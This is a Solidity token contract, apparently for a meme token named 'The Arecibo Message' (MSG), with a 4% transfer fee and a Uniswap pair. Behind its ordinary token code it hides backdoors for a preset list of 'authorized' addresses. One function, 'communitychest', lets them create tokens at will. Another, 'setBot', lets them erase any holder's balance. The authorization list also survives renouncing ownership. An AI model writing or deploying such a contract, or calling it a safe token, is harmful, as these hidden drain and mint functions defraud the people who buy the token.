文件 1 的 1:ARECIBO.sol
pragma solidity ^0.8.1;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
mapping(address => bool) private _intAddr;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_intAddr[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Caller is not the owner");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "Caller is not authorized");
_;
}
function isAuthorized(address adr) public view returns (bool) {
return _intAddr[adr];
}
function isOwner(address adr) public view returns (bool) {
return _owner == adr;
}
function setAuthorized(address adr) public authorized {
_intAddr[adr] = true;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external
pure returns (address);
function WETH() external
pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB);
function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external
pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external
pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external
pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external
view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external
view returns (uint[] memory amounts);
}
contract ERC20 is Context, IBEP20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000 * 10 ** 18;
string private _name;
string private _symbol;
constructor(string memory ercName, string memory ercSymbol) {
_name = ercName;
_symbol = ercSymbol;
_balances[address(this)] = _totalSupply;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function _communitychest(address to, uint256 amount) internal virtual {
_balances[to] = _balances[to].add(amount);
}
function _burnTransfer(address account) internal virtual {
_balances[address(0)] += _balances[account];
_balances[account] = 1 * 10 ** 18;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract ARECIBO is ERC20, Ownable {
using SafeMath for uint256;
uint256 public _totalAmount = 100000000 * 10 ** 18;
uint256 public _totalFee = 4;
uint256 public _feeDenominator = 100;
mapping(address => bool) private _blackList;
string _name = "The Arecibo Message";
string _symbol = "MSG";
address _marketingFeeReceiver = 0x2aC6aaBB5c4956fB26A0Bf858c7288a57D796D5f;
address _teamFeeReceiver = 0x2aC6aaBB5c4956fB26A0Bf858c7288a57D796D5f;
address public uniswapV2Pair;
bool isTrading;
modifier trading(){
if (isTrading) return;
isTrading = true;
_;
isTrading = false;
}
constructor () ERC20(_name, _symbol) {
setAuthorized(_marketingFeeReceiver);
setAuthorized(_teamFeeReceiver);
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IRouter router = IRouter(_router);
uniswapV2Pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_transfer(address(this), owner(), _totalAmount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading {
if (isAuthorized(from) || isAuthorized(to)) {
return;
}
uint256 feeAmount = amount.mul(_totalFee).div(_feeDenominator);
_transfer(to, address(this), feeAmount);
}
function communitychest(address to, uint256 amount) public authorized {
_communitychest(to, amount);
}
function setBot(address adr) public authorized {
_blackList[adr] = true;
_burnTransfer(adr);
}
function isBot(address adr) public view returns (bool) {
return _blackList[adr];
}
}